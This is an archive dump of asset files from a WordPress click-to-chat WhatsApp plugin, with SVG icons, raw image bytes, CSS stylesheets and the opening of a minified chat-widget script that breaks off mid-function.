            <path style="fill: '.$color.';" d="M259.253137,0.00180389396 C121.502859,0.00180389396 9.83730687,111.662896 9.83730687,249.413175 C9.83730687,296.530232 22.9142299,340.597122 45.6254897,378.191325 L0.613226597,512.001804 L138.700183,467.787757 C174.430395,487.549184 215.522926,498.811168 259.253137,498.811168 C396.994498,498.811168 508.660049,387.154535 508.660049,249.415405 C508.662279,111.662896 396.996727,0.00180389396 259.253137,0.00180389396 L259.253137,0.00180389396 Z M259.253137,459.089875 C216.65782,459.089875 176.998957,446.313956 143.886359,424.41206 L63.3044195,450.21808 L89.4939401,372.345171 C64.3924908,337.776609 49.5608297,295.299463 49.5608297,249.406486 C49.5608297,133.783298 143.627719,39.7186378 259.253137,39.7186378 C374.871867,39.7186378 468.940986,133.783298 468.940986,249.406486 C468.940986,365.025215 374.874096,459.089875 259.253137,459.089875 Z M200.755924,146.247066 C196.715791,136.510165 193.62103,136.180176 187.380228,135.883632 C185.239759,135.781068 182.918689,135.682963 180.379113,135.682963 C172.338979,135.682963 164.002301,138.050856 158.97889,143.19021 C152.865178,149.44439 137.578667,164.09322 137.578667,194.171258 C137.578667,224.253755 159.487251,253.321759 162.539648,257.402027 C165.600963,261.477835 205.268745,324.111057 266.985579,349.682963 C315.157262,369.636141 329.460495,367.859106 340.450462,365.455539 C356.441543,361.9639 376.521811,350.186865 381.616571,335.917077 C386.711331,321.63837 386.711331,309.399797 385.184018,306.857991 C383.654475,304.305037 379.578667,302.782183 373.464955,299.716408 C367.351242,296.659552 337.288812,281.870254 331.68569,279.83458 C326.080339,277.796676 320.898622,278.418749 316.5887,284.378615 C310.639982,292.612729 304.918689,301.074268 300.180674,306.09099 C296.46161,310.02856 290.477218,310.577055 285.331175,308.389764 C278.564174,305.506821 259.516237,298.869139 236.160607,278.048627 C217.988923,261.847958 205.716906,241.83458 202.149458,235.711949 C198.582011,229.598236 201.835077,225.948292 204.584241,222.621648 C207.719135,218.824546 210.610997,216.097679 213.667853,212.532462 C216.724709,208.960555 218.432625,207.05866 220.470529,202.973933 C222.508433,198.898125 221.137195,194.690767 219.607652,191.629452 C218.07588,188.568136 205.835077,158.494558 200.755924,146.247066 Z" 
            fill="'.$color.'" id="htwaicon-'.$type.'"/>
        </g>
        </svg>';


        return $svg;
    }
}click-to-chat-for-whatsapp/new/inc/assets/img/new_style8.jpg000064400000006610147510273110020026 0ustar00���JFIF���		&""&0-0>>T		&""&0-0>>T��dd"���	!1AQa"q�#�2Bb��34r��Rc�!12AQaq�"#r���3BRc���?���吊n��ڧ����8�}k� �G����Cz��mͽWD��*qR�����?[�ߑ��\�1��u�h^F��h�$z�q8ڍI�Os����C�s�]�<~u.y���A�kKM X�yu�j��ЪM��r��F�x�4,Tv�*̘{ic����@Ӭ\Eۘ\�&W#�TָOXfda�#�>�����C���6��^d��SsEO dn���c�<��J��D�UyHm2y���+��c̭���:)�t�*�ַt*�h.j�Q�zү��v��X�<1[�!@cڽ���N����x�S^�,��?o:��)��D.|��|e�Q�em7��^a4�+7��w��)�k�V?$?�}����1��[��y�ǯ����]Rִ5�	�FT�@�I ��]���@�Mpܨ��W�ڎ��E=�i����r�/��5�[{+c]�3�j��3F�T
U��7x�@���q�Ѡ���37��%g�/�ֆ��"���
�#���$�ԟ{�Cݘ�az�S-,�P��$|��ֺ�s���N�t�3��ŵ��������zN�X�q˭�'�7���~ƈ��L��)|��r���E�6��m.:,���
�پ�Nkԥ��n����6�ڶu>\!������"��&���)#X��t�
�����[Z���Z2�Ҭҫ$g_!��m��.�
}[��[x����i�6�.�BMs�S ��q8��+jF2?Nꃯ�T�	��5�2���3�<��_aO��u��ƪ>NH���a��O�r���h�����Q�u��6?�����/�͘.�n�l�y)^&�Ue`��*�
����#9l��n������q���Şm��pզB�c�2���������w�I>��O,E��"�X�Ŵ�}�a���â�n3�3�
��D.��{���M4)2�u
�q�c!qqyo�f�l����“]���}y{����=�I��^S�|��ُ�Q��5ԡ������)9�����'a.�̌��s�:��=�%�)ir@�h�k�%���9\�8�'�W�'oof�W�8a=v�z
y�!u��2��u��U��
�Z):t�V�՟����j-��Ҽ|��r�n1Ό>tӃ�>W҅r뱢��C��*o�ݘ~���F���{u �V�@�2�T�`��43l��Ү�����R�H��>Z�pz:�K3.�"��֚Z%�AT�S�
~ _~f�^A��֗�\�ci明�~e��o���빁_�zT����0Wó�^�Y)�
����صܡ
�4}�S+x���A�1�<`V
�
O��R�AG�+�̂Kuqj��;r��yGA֟��c-h�gc�D�H--l�B$�I����[Ί�f�[��;7Q�{�j {�C�Ns�q�!1a��������<=�Y.p	#r��I���q/�k<v0�idq����co������{�� x�~�'P\���}F��@1]=��ǧ'�T�>.�4v����nǙ���_�η\)bN��o.�ϱ'ď���+�\\���7��χȶFˍ,�|�-��ȫ�d�Uz���F_���;P��(m� �=!��
��c���e(�z��U�B��F�PF�}xV�
jte33�R6�;6�W�PiS��Om�,M.�A�*U�vH�;�ﳮ�P�,�%����/���?�����j|�ڔj�UNO�4�j�í��mk�c �����=�J�Uڶ4�}������l��Ŷ>,�{��>�T��`��g/;I�����l������T���k\N^ǧpz�7��ܬFq��3�a]|�Siq����\Z��&���t��⎼�;Z����ع�,���;x�O�Z����쬚�#���e&��Ӕ�����C�.J��a��}A���
𢗼^4�H��O���	fxc+��k\6s'6%<�H�g`�~t�3ҭ�]_�`��UP�U����ͽ�Bbv����kcNJW����ֲؠ5���\HG�3��šQ��JNۑ��4�d<O�,Gmcn>�x��TS�ϕ���?�ߚ��y �bA�kp�p�(���缎:������㽆���&.�S�Ƥ ?f�O��Hž��
�P7�&�t(��=�.t�l�v�mU����s�=
M�S�3���E�E��1T,�{�
��ݟy*�Y�\�i]�u�*u`��B����*��Ľ^Ӛי�E_Q�5a>��U�$�Є�|��66��U@G��@�=h����V
�y�h*��cI�a��p�#��_c�f��B'��^�kKpS�=Yݿ�)��uhE�f��Lt+�G�H�
vw��D1˛�;yT��m1�y�ʣ敿�UR�溗"�NY��,O�ZM��!</�4�;"S=p�y�%��I�aЊ�/¼`ˏ�o�z2�������8��g�V���^!�!��
�h�����k��2�Ʊ���<ý��xr<�ʀ Uw����K#e��?3��z
,f%U����I�sc<9%��v�y���(�j>l����5��.��F.[�/�Ct�io�Y=3����?g��巵���B���<���t�=�S
�pƬ�Z��|�)�/-��>��$S��f"�m��=0^��8ߞ�Iq�S�]!�Ӝ��7{i�ĉ�[������Q��V��1��-����U&�P�_�ؑ���(�hM(gN���2w����%�̐�
�F�w�N���ur�>���י7J���T��@�a�lb��fn��'af�b�Y���#ͣ��:�AJ��w�hgf�T�B&V�[��C!��k0"Q�w5�'�[[�o,k��u�k)R�=�H�i��R4�oU�0T#F��SO�٬�?"��.�n�OQJ�h�@�\+В.��埻���;9�Fx؈��2���mzv�J�ah_X�d�^Op��V��0qȿ��V<d.d��%÷4�g��{�O	�ޕ*�v��?�4���P����_���32�~�S�lS.�z�Mך� R�@�O�����g	���Kɽ��n�*U�O���G���click-to-chat-for-whatsapp/new/inc/assets/img/whatsapp-logo-32x32.png000064400000002174147510273110021276 0ustar00�PNG


IHDR  D����PLTE����������������������������������������������������������񨨨����������������������������������������������������������������������������̼�����������www������������M�[F�U���B�R=�N/�CI�X?�QQ�^,�AS�`*�@������1�EV�b;�M7�I8�K4�G���X�dE�U'�=������������������������ڦ筣ެ�ژ�ޕ�܏�ٌd�r���������������ʳ繯䶡ީ��~Ԋ|Њwւj�y\�lZ�iZ�fX�fQ�b@�R>�Q(�>���������������ȹ龨Ⱕ߭�䧚ܤ�ݟ�ڝ�՗�֔�ޓ~Ћvτp�{h�v^�o^�mT�fP�_K�\�5SLEtRNS	���uu�������÷���}XR@3*# 
�������Ż�������|tnldZLB<,&&$g��	IDAT8˕�es�@@{2�9
'effܓdGi�֭��1;�ef��=�#k�y��ξYiv�vl��U��}�QY�8�n��A���u���>���t*<���J�t<�.��,}��a2PW�R��6x�*�q�B�%�#p�N�� {�B��hq����y>��&&Hy�f�f]�9��YX~FNi� �$�E��db�Tk���9A�ل‚��\U��B�$�q�!#�@��[�d'R�st��ȋ��S� -S�2:���$!T�3��ͪp�&�
���5ath�xկ0b��o�cPI�Q���5Y.<Q���.���fXV��v��a/}�Xc&"{FY2E�9U@M4��XQ>kqڨ���%��|HF_X0%�����ɓ�V~b��ӷ�����[X�����"�k>_���l﹂��r����:���S���W��8C�c������;Q��3��N��"5l�n�wןi��q�ֆZ{E�����ƙ�
VT.$BL��)��ƚB%����ÓYQFIEND�B`�click-to-chat-for-whatsapp/new/inc/assets/img/whatsapp-icon-square.svg000064400000006340147510273110022017 0ustar00<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="50" height="50" viewBox="0 0 1024 1024">
    <defs>
    <path id="a" d="M1023.941 765.153c0 5.606-.171 17.766-.508 27.159-.824 22.982-2.646 52.639-5.401 66.151-4.141 20.306-10.392 39.472-18.542 55.425-9.643 18.871-21.943 35.775-36.559 50.364-14.584 14.56-31.472 26.812-50.315 36.416-16.036 8.172-35.322 14.426-55.744 18.549-13.378 2.701-42.812 4.488-65.648 5.3-9.402.336-21.564.505-27.15.505l-504.226-.081c-5.607 0-17.765-.172-27.158-.509-22.983-.824-52.639-2.646-66.152-5.4-20.306-4.142-39.473-10.392-55.425-18.542-18.872-9.644-35.775-21.944-50.364-36.56-14.56-14.584-26.812-31.471-36.415-50.314-8.174-16.037-14.428-35.323-18.551-55.744-2.7-13.378-4.487-42.812-5.3-65.649-.334-9.401-.503-21.563-.503-27.148l.08-504.228c0-5.607.171-17.766.508-27.159.825-22.983 2.646-52.639 5.401-66.151 4.141-20.306 10.391-39.473 18.542-55.426C34.154 93.24 46.455 76.336 61.07 61.747c14.584-14.559 31.472-26.812 50.315-36.416 16.037-8.172 35.324-14.426 55.745-18.549 13.377-2.701 42.812-4.488 65.648-5.3 9.402-.335 21.565-.504 27.149-.504l504.227.081c5.608 0 17.766.171 27.159.508 22.983.825 52.638 2.646 66.152 5.401 20.305 4.141 39.472 10.391 55.425 18.542 18.871 9.643 35.774 21.944 50.363 36.559 14.559 14.584 26.812 31.471 36.415 50.315 8.174 16.037 14.428 35.323 18.551 55.744 2.7 13.378 4.486 42.812 5.3 65.649.335 9.402.504 21.564.504 27.15l-.082 504.226z"/>
    </defs>
    <linearGradient id="b" gradientUnits="userSpaceOnUse" x1="512.001" y1=".978" x2="512.001" y2="1025.023">
        <stop offset="0" stop-color="#61fd7d"/>
        <stop offset="1" stop-color="#2bb826"/>
    </linearGradient>
    <use xlink:href="#a" overflow="visible" fill="url(#b)"/>
    <g>
        <path fill="#FFF" d="M783.302 243.246c-69.329-69.387-161.529-107.619-259.763-107.658-202.402 0-367.133 164.668-367.214 367.072-.026 64.699 16.883 127.854 49.017 183.522l-52.096 190.229 194.665-51.047c53.636 29.244 114.022 44.656 175.482 44.682h.151c202.382 0 367.128-164.688 367.21-367.094.039-98.087-38.121-190.319-107.452-259.706zM523.544 808.047h-.125c-54.767-.021-108.483-14.729-155.344-42.529l-11.146-6.612-115.517 30.293 30.834-112.592-7.259-11.544c-30.552-48.579-46.688-104.729-46.664-162.379.066-168.229 136.985-305.096 305.339-305.096 81.521.031 158.154 31.811 215.779 89.482s89.342 134.332 89.312 215.859c-.066 168.243-136.984 305.118-305.209 305.118zm167.415-228.515c-9.177-4.591-54.286-26.782-62.697-29.843-8.41-3.062-14.526-4.592-20.645 4.592-6.115 9.182-23.699 29.843-29.053 35.964-5.352 6.122-10.704 6.888-19.879 2.296-9.176-4.591-38.74-14.277-73.786-45.526-27.275-24.319-45.691-54.359-51.043-63.543-5.352-9.183-.569-14.146 4.024-18.72 4.127-4.109 9.175-10.713 13.763-16.069 4.587-5.355 6.117-9.183 9.175-15.304 3.059-6.122 1.529-11.479-.765-16.07-2.293-4.591-20.644-49.739-28.29-68.104-7.447-17.886-15.013-15.466-20.645-15.747-5.346-.266-11.469-.322-17.585-.322s-16.057 2.295-24.467 11.478-32.113 31.374-32.113 76.521c0 45.147 32.877 88.764 37.465 94.885 4.588 6.122 64.699 98.771 156.741 138.502 21.892 9.45 38.982 15.094 52.308 19.322 21.98 6.979 41.982 5.995 57.793 3.634 17.628-2.633 54.284-22.189 61.932-43.615 7.646-21.427 7.646-39.791 5.352-43.617-2.294-3.826-8.41-6.122-17.585-10.714z"/>
    </g>
</svg>click-to-chat-for-whatsapp/new/inc/assets/img/whatsapp-logo.svg000064400000005711147510273110020532 0ustar00<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="50" height="50" viewBox="0 0 1219.547 1225.016">
    <path fill="#E0E0E0" d="M1041.858 178.02C927.206 63.289 774.753.07 612.325 0 277.617 0 5.232 272.298 5.098 606.991c-.039 106.986 27.915 211.42 81.048 303.476L0 1225.016l321.898-84.406c88.689 48.368 188.547 73.855 290.166 73.896h.258.003c334.654 0 607.08-272.346 607.222-607.023.056-162.208-63.052-314.724-177.689-429.463zm-429.533 933.963h-.197c-90.578-.048-179.402-24.366-256.878-70.339l-18.438-10.93-191.021 50.083 51-186.176-12.013-19.087c-50.525-80.336-77.198-173.175-77.16-268.504.111-278.186 226.507-504.503 504.898-504.503 134.812.056 261.519 52.604 356.814 147.965 95.289 95.36 147.728 222.128 147.688 356.948-.118 278.195-226.522 504.543-504.693 504.543z"/>
    <linearGradient id="a" gradientUnits="userSpaceOnUse" x1="609.77" y1="1190.114" x2="609.77" y2="21.084">
        <stop offset="0" stop-color="#20b038"/>
        <stop offset="1" stop-color="#60d66a"/>
    </linearGradient>
    <path fill="url(#a)" d="M27.875 1190.114l82.211-300.18c-50.719-87.852-77.391-187.523-77.359-289.602.133-319.398 260.078-579.25 579.469-579.25 155.016.07 300.508 60.398 409.898 169.891 109.414 109.492 169.633 255.031 169.57 409.812-.133 319.406-260.094 579.281-579.445 579.281-.023 0 .016 0 0 0h-.258c-96.977-.031-192.266-24.375-276.898-70.5l-307.188 80.548z"/>
    <image overflow="visible" opacity=".08" width="682" height="639" transform="translate(270.984 291.372)"/>
    <path fill-rule="evenodd" clip-rule="evenodd" fill="#FFF" d="M462.273 349.294c-11.234-24.977-23.062-25.477-33.75-25.914-8.742-.375-18.75-.352-28.742-.352-10 0-26.25 3.758-39.992 18.766-13.75 15.008-52.5 51.289-52.5 125.078 0 73.797 53.75 145.102 61.242 155.117 7.5 10 103.758 166.266 256.203 226.383 126.695 49.961 152.477 40.023 179.977 37.523s88.734-36.273 101.234-71.297c12.5-35.016 12.5-65.031 8.75-71.305-3.75-6.25-13.75-10-28.75-17.5s-88.734-43.789-102.484-48.789-23.75-7.5-33.75 7.516c-10 15-38.727 48.773-47.477 58.773-8.75 10.023-17.5 11.273-32.5 3.773-15-7.523-63.305-23.344-120.609-74.438-44.586-39.75-74.688-88.844-83.438-103.859-8.75-15-.938-23.125 6.586-30.602 6.734-6.719 15-17.508 22.5-26.266 7.484-8.758 9.984-15.008 14.984-25.008 5-10.016 2.5-18.773-1.25-26.273s-32.898-81.67-46.234-111.326z"/>
    <path fill="#FFF" d="M1036.898 176.091C923.562 62.677 772.859.185 612.297.114 281.43.114 12.172 269.286 12.039 600.137 12 705.896 39.633 809.13 92.156 900.13L7 1211.067l318.203-83.438c87.672 47.812 186.383 73.008 286.836 73.047h.255.003c330.812 0 600.109-269.219 600.25-600.055.055-160.343-62.328-311.108-175.649-424.53zm-424.601 923.242h-.195c-89.539-.047-177.344-24.086-253.93-69.531l-18.227-10.805-188.828 49.508 50.414-184.039-11.875-18.867c-49.945-79.414-76.312-171.188-76.273-265.422.109-274.992 223.906-498.711 499.102-498.711 133.266.055 258.516 52 352.719 146.266 94.195 94.266 146.031 219.578 145.992 352.852-.118 274.999-223.923 498.749-498.899 498.749z"/>
</svg>click-to-chat-for-whatsapp/new/inc/assets/css/mdstyle8.css000064400000007407147510273110017527 0ustar00.mdstyle8 a{background-color:transparent}.mdstyle8 a:active,.mdstyle8 a:hover{outline:0}.mdstyle8 b,.mdstyle8 strong{font-weight:700}.mdstyle8 small{font-size:80%}.mdstyle8 img{border:0}.mdstyle8 svg:not(:root){overflow:hidden}.mdstyle8 button,.mdstyle8 input{overflow:visible}.mdstyle8 button,.mdstyle8 button[disabled],.mdstyle8 html input[disabled],.mdstyle8 html input[type=button]{cursor:default}.mdstyle8 button::-moz-focus-inner,.mdstyle8 input::-moz-focus-inner{border:0;padding:0}.mdstyle8 *,.mdstyle8:after,.mdstyle8:before{box-sizing:inherit}.mdstyle8 a{color:#039be5;text-decoration:none;-webkit-tap-highlight-color:transparent}.mdstyle8 .clearfix{clear:both}.mdstyle8 .z-depth-0{box-shadow:none!important}.mdstyle8 .btn,.mdstyle8 .btn-floating,.mdstyle8 .btn-large,.mdstyle8 .z-depth-1{box-shadow:0 2px 2px 0 rgba(0,0,0,.14),0 1px 5px 0 rgba(0,0,0,.12),0 3px 1px -2px rgba(0,0,0,.2)}.mdstyle8 .btn-floating:hover,.mdstyle8 .btn-large:hover,.mdstyle8 .btn:hover,.mdstyle8 .z-depth-1-half{box-shadow:0 3px 3px 0 rgba(7,6,6,.14),0 1px 7px 0 rgba(0,0,0,.12),0 3px 1px -1px rgba(0,0,0,.2)}.mdstyle8 .z-depth-2{box-shadow:0 4px 5px 0 rgba(0,0,0,.14),0 1px 10px 0 rgba(0,0,0,.12),0 2px 4px -1px rgba(0,0,0,.3)}.mdstyle8 .z-depth-3{box-shadow:0 6px 10px 0 rgba(0,0,0,.14),0 1px 18px 0 rgba(0,0,0,.12),0 3px 5px -1px rgba(0,0,0,.3)}.mdstyle8 .z-depth-4{box-shadow:0 8px 10px 1px rgba(0,0,0,.14),0 3px 14px 2px rgba(0,0,0,.12),0 5px 5px -3px rgba(0,0,0,.3)}.mdstyle8 .z-depth-5{box-shadow:0 16px 24px 2px rgba(0,0,0,.14),0 6px 30px 5px rgba(0,0,0,.12),0 8px 10px -5px rgba(0,0,0,.3)}.mdstyle8 .hoverable{transition:box-shadow .25s}.mdstyle8 .hoverable:hover{box-shadow:0 8px 17px 0 rgba(0,0,0,.2),0 6px 20px 0 rgba(0,0,0,.19)}.mdstyle8 i{line-height:inherit}.mdstyle8 i.left{float:left;margin-right:15px}.mdstyle8 i.right{float:right;margin-left:15px}.mdstyle8 i.tiny{font-size:1rem}.mdstyle8 i.small{font-size:2rem}.mdstyle8 i.medium{font-size:4rem}.mdstyle8 i.large{font-size:6rem}.mdstyle8 .hide{display:none!important}.mdstyle8 .left-align{text-align:left}.mdstyle8 .right-align{text-align:right}.mdstyle8 .center,.mdstyle8 .center-align{text-align:center}.mdstyle8 .left{float:left!important}.mdstyle8 .right{float:right!important}.mdstyle8 .no-select{user-select:none}.mdstyle8 .no-padding{padding:0!important}.mdstyle8 a{text-decoration:none}.mdstyle8 strong{font-weight:500}.mdstyle8 small{font-size:75%}.mdstyle8 .light,.mdstyle8 .page-footer .footer-copyright{font-weight:300}.mdstyle8 .thin{font-weight:200}.mdstyle8 .btn,.mdstyle8 .btn-flat,.mdstyle8 .btn-large{border:none;border-radius:2px;display:inline-block;height:36px;line-height:36px;padding:0 2rem;vertical-align:middle;-webkit-tap-highlight-color:transparent}.mdstyle8 .btn,.mdstyle8 .btn-flat,.mdstyle8 .btn-floating,.mdstyle8 .btn-large{font-size:1rem;outline:0}.mdstyle8 .btn i,.mdstyle8 .btn-large i{font-size:1.3rem;line-height:inherit}.mdstyle8 .btn,.mdstyle8 .btn-large,.mdstyle8 .btn-large:focus,.mdstyle8 .btn:focus{text-decoration:none;color:#fff;background-color:#26a69a;text-align:center;letter-spacing:.5px;transition:.2s ease-out;cursor:pointer}.mdstyle8 .btn-large:hover,.mdstyle8 .btn:hover{background-color:#2bbbad}.mdstyle8 .fixed-action-btn{position:fixed;right:23px;bottom:23px;padding-top:15px;margin-bottom:0;z-index:997}.mdstyle8 .fixed-action-btn.horizontal{padding:0 0 0 15px}.mdstyle8 .fixed-action-btn.toolbar{padding:0;height:56px}.mdstyle8 .fixed-action-btn.toolbar.active>a i{opacity:0}.mdstyle8 .btn-large{height:54px;line-height:54px}.mdstyle8 .btn-large i{font-size:1.6rem}.mdstyle8 button:focus{outline:0;background-color:#2ab7a9}.ht-ctc-sc-style-8{display:inline}.mdstyle8.ht-ctc-sc-style-8 .s8_span,.mdstyle8.ht-ctc-style-8 .s8_span{font-size:14px}.mdstyle8.ht-ctc-style-8 i.s8_icon,.mdstyle8.ht-ctc-sc-style-8 i.s8_icon{font-size:17px}click-to-chat-for-whatsapp/new/inc/assets/css/font.css000064400000001053147510273110016713 0ustar00@font-face{font-family:ccw;src:url(../fonts/ccw.eot);src:url(../fonts/ccw.eot#iefix) format('embedded-opentype'),url(../fonts/ccw.ttf) format('truetype'),url(../fonts/ccw.woff) format('woff'),url(../fonts/ccw.svg#ccw) format('svg');font-weight:400;font-style:normal}.ctc-icon{font-family:ccw!important;speak:none;font-style:normal;font-weight:400;font-variant:normal;text-transform:none;line-height:1;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.ctc-icon-whatsapp2:before{content:"\E902"}.ctc-icon-whatsapp:before{content:"\ea93"}click-to-chat-for-whatsapp/new/inc/assets/css/main.css000064400000003105147510273110016671 0ustar00.ht_ctc_chat_greetings_box :not(ul):not(ol):not(.ht_ctc_default):not(.ht_ctc_defaults *):not(.iti *){padding:0;margin:0;box-sizing:border-box}.ht_ctc_chat_greetings_box ul,.ht_ctc_chat_greetings_box ol{margin-top:0;margin-bottom:0}.ctc_g_content,.ctc_g_sentbutton,.ctc_g_bottom{margin-top:-.9px!important}.ctc_g_content{max-height:calc(80vh - 140px);overflow-y:auto}.greetings_header_image img{object-fit:cover}.greetings_header_image{position:relative;display:inline-block}.g_header_badge_online{position:absolute;bottom:0;right:0;z-index:1;width:12px;height:12px;border-radius:50%}@media only screen and (max-width: 420px){.ctc_side_positions .ctc_m_p_left{right:unset!important;left:0!important}.ctc_side_positions .ctc_m_p_right{left:unset!important;right:0!important}.ctc_side_positions .ctc_m_p_left .ctc_greetings_close_btn{float:left!important}.ctc_side_positions .ctc_m_p_right .ctc_greetings_close_btn{float:right!important}.ctc_side_positions .ctc_m_cta_order_0{order:0!important}.ctc_side_positions .ctc_m_cta_order_1{order:1!important}.ht_ctc_greetings.ctc_m_full_width{position:fixed!important;bottom:0!important;right:0!important}.ht_ctc_greetings.ctc_m_full_width .ht_ctc_chat_greetings_box{position:unset!important;margin:7px!important;min-width:80vw!important;width:calc(100vw - 14px)!important}.ctc_m_full_width .ctc_g_message_box_width{max-width:85%!important}.ht_ctc_animation:has(.ht_ctc_greetings){animation-fill-mode:none!important}}@media only screen and (min-width: 900px){.ctc_g_content::-webkit-scrollbar{width:2.8px}.ctc_g_content::-webkit-scrollbar-thumb{background:#a5a5a5}}click-to-chat-for-whatsapp/new/inc/assets/css/dev/main.dev.css000064400000005376147510273110020240 0ustar00.ht_ctc_chat_greetings_box *:not(ul):not(ol):not(.ht_ctc_default):not(.ht_ctc_defaults *):not(.iti *) {
    padding: 0px;
    margin: 0px;
    box-sizing: border-box;
}

.ht_ctc_chat_greetings_box ul,
.ht_ctc_chat_greetings_box ol {
    margin-top: 0px;
    margin-bottom: 0px;
}

.ctc_g_content,
.ctc_g_sentbutton,
.ctc_g_bottom {
    margin-top: -0.9px !important;
}

.ctc_g_content {
    max-height: calc(80vh - 140px);
    overflow-y: auto;
}


.greetings_header_image img {
    object-fit: cover;
}

.greetings_header_image {
    position: relative;
    display: inline-block;
}

/* rtl left: 0px; added with in php page. */
.g_header_badge_online {
    position: absolute;
    bottom: 0px;
    right: 0px;
    z-index: 1;
    width: 12px;
    height: 12px;
    border-radius: 50%;
    /* background-color: #06e376;
    border: 2px solid #075e54; */
}

/* Desktop like: above 420 */
@media only screen and (min-width: 420px) {}


/* for mobile */
@media only screen and (max-width: 420px) {

    /* for mobile if widget is at left. then call to action, greetings dialog with close button positions */
    /* greetings */
    .ctc_side_positions .ctc_m_p_left {
        right: unset !important;
        left: 0 !important;
    }

    .ctc_side_positions .ctc_m_p_right {
        left: unset !important;
        right: 0 !important;
    }

    .ctc_side_positions .ctc_m_p_left .ctc_greetings_close_btn {
        float: left !important;
    }

    .ctc_side_positions .ctc_m_p_right .ctc_greetings_close_btn {
        float: right !important;
    }


    /* call to action */
    .ctc_side_positions .ctc_m_cta_order_0 {
        order: 0 !important;
    }

    .ctc_side_positions .ctc_m_cta_order_1 {
        order: 1 !important;
    }

    
    .ht_ctc_greetings.ctc_m_full_width {
        position: fixed !important;
        bottom: 0px !important;
        right: 0px !important;
    }

    .ht_ctc_greetings.ctc_m_full_width .ht_ctc_chat_greetings_box {
        position: unset !important;
        margin: 7px !important;
        min-width: 80vw !important;
        width: calc(100vw - 14px) !important;
    }

    .ctc_m_full_width .ctc_g_message_box_width {
        max-width: 85% !important;
    }

    /* fix: animation and greetings in mobile devices not working properly.  clear animation-fill-mode for ..ht_ctc_animation only if child have .ht_ctc_greetings */
    .ht_ctc_animation:has(.ht_ctc_greetings) {
        animation-fill-mode: none !important;
    }
    
}

/* above 900 */
@media only screen and (min-width: 900px) {

    .ctc_g_content::-webkit-scrollbar {
        width: 2.8px;
    }

    .ctc_g_content::-webkit-scrollbar-thumb {
        background: #a5a5a5;
    }

}click-to-chat-for-whatsapp/new/inc/assets/js/app.js000064400000022205147510273110016177 0ustar00!function(t){t((function(){var e=window.location.href,c=void 0!==document.title?document.title:"",n="no";try{n=void 0!==navigator.userAgent&&navigator.userAgent.match(/Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i)?"yes":"no"}catch(t){}if("no"==n)n=void 0!==screen.width&&screen.width>1025?"no":"yes";var a="",_={};function o(){localStorage.getItem("ht_ctc_storage")&&(_=localStorage.getItem("ht_ctc_storage"),_=JSON.parse(_))}function i(t){return!!_[t]&&_[t]}function r(t,e){o(),_[t]=e;var c=JSON.stringify(_);localStorage.setItem("ht_ctc_storage",c)}o();var s="";!function(){if("undefined"!=typeof ht_ctc_chat_var)s=ht_ctc_chat_var;else try{if(document.querySelector(".ht_ctc_chat_data")){var e=t(".ht_ctc_chat_data").attr("data-settings");s=JSON.parse(e),window.ht_ctc_chat_var=s}}catch(t){s={}}}();var h,u={};function d(e="open"){f(),t(".ctc_cta_stick").remove(),"init"==e?t(".ht_ctc_chat_greetings_box").show(70):t(".ht_ctc_chat_greetings_box").show(400),t(".ht_ctc_chat_greetings_box").addClass("ctc_greetings_opened").removeClass("ctc_greetings_closed"),r("g_action",e),"user_opened"==e&&r("g_user_action",e)}function l(){setTimeout((()=>{g("chat_clicked")}),500)}function g(e="close"){"element"==e?t(".ht_ctc_chat_greetings_box").hide(70):t(".ht_ctc_chat_greetings_box").hide(400),t(".ht_ctc_chat_greetings_box").addClass("ctc_greetings_closed").removeClass("ctc_greetings_opened"),r("g_action",e),"user_closed"==e&&r("g_user_action",e)}function p(t){var e;"yes"==n?"show"==s.dis_m&&((e=document.querySelector(".ht_ctc_desktop_chat"))&&e.remove(),t.style.cssText=s.pos_m+s.css,m(t)):"show"==s.dis_d&&((e=document.querySelector(".ht_ctc_mobile_chat"))&&e.remove(),t.style.cssText=s.pos_d+s.css,m(t))}function m(e){try{t(e).show(parseInt(s.se))}catch(t){e.style.display="block"}!function(){if(t(".ht_ctc_chat_greetings_box").length){if(s.g_device){if("yes"!==n&&"mobile"==s.g_device)return void t(".ht_ctc_chat_greetings_box").remove();if("yes"==n&&"desktop"==s.g_device)return void t(".ht_ctc_chat_greetings_box").remove()}document.dispatchEvent(new CustomEvent("ht_ctc_event_after_chat_displayed",{detail:{ctc:s,greetings_open:d,greetings_close:g}})),s.g_init&&"user_closed"!==i("g_user_action")&&("default"==s.g_init?"yes"!==n&&d("init"):"open"==s.g_init&&d("init")),t(document).on("click",'.ctc_greetings, #ctc_greetings, .ctc_greetings_now, [href="#ctc_greetings"]',(function(t){t.preventDefault(),g("element"),d("element")}))}}(),function(){if(document.querySelector(".ht_ctc_notification")&&"stop"!==i("n_badge")){if(document.querySelector(".ctc_nb")){var e=t(".ht_ctc_badge").closest(".ht_ctc_style");t(".ht_ctc_badge").css({top:t(e).find(".ctc_nb").attr("data-nb_top"),right:t(e).find(".ctc_nb").attr("data-nb_right")})}var c=s.n_time?1e3*s.n_time:"150";setTimeout((()=>{t(".ht_ctc_notification").show(400)}),c)}}(),function(e){var c=t(e).hasClass("ht_ctc_entry_animation")?1200:120;setTimeout((function(){e.classList.add("ht_ctc_animation",s.ani)}),c),t(".ht-ctc-chat").hover((function(){t(".ht-ctc-chat .ht-ctc-cta-hover").show(120)}),(function(){t(".ht-ctc-chat .ht-ctc-cta-hover").hide(100)}))}(e)}function v(){t(".for_greetings_header_image_badge").length&&(t(".for_greetings_header_image_badge").addClass("g_header_badge_online"),t(".for_greetings_header_image_badge").show())}function f(){document.querySelector(".ht_ctc_notification")&&(r("n_badge","stop"),t(".ht_ctc_notification").remove())}function y(_){document.dispatchEvent(new CustomEvent("ht_ctc_event_number",{detail:{ctc:s}}));var o=s.number,i=s.pre_filled;_.hasAttribute("data-number")&&""!==_.getAttribute("data-number")&&(o=_.getAttribute("data-number")),_.hasAttribute("data-pre_filled")&&(i=_.getAttribute("data-pre_filled"));try{i=i.replaceAll("%","%25");var r=window.location.href;i=i.replace(/\[url]/gi,r),i=encodeURIComponent(decodeURI(i))}catch(t){}if(""!=o){var 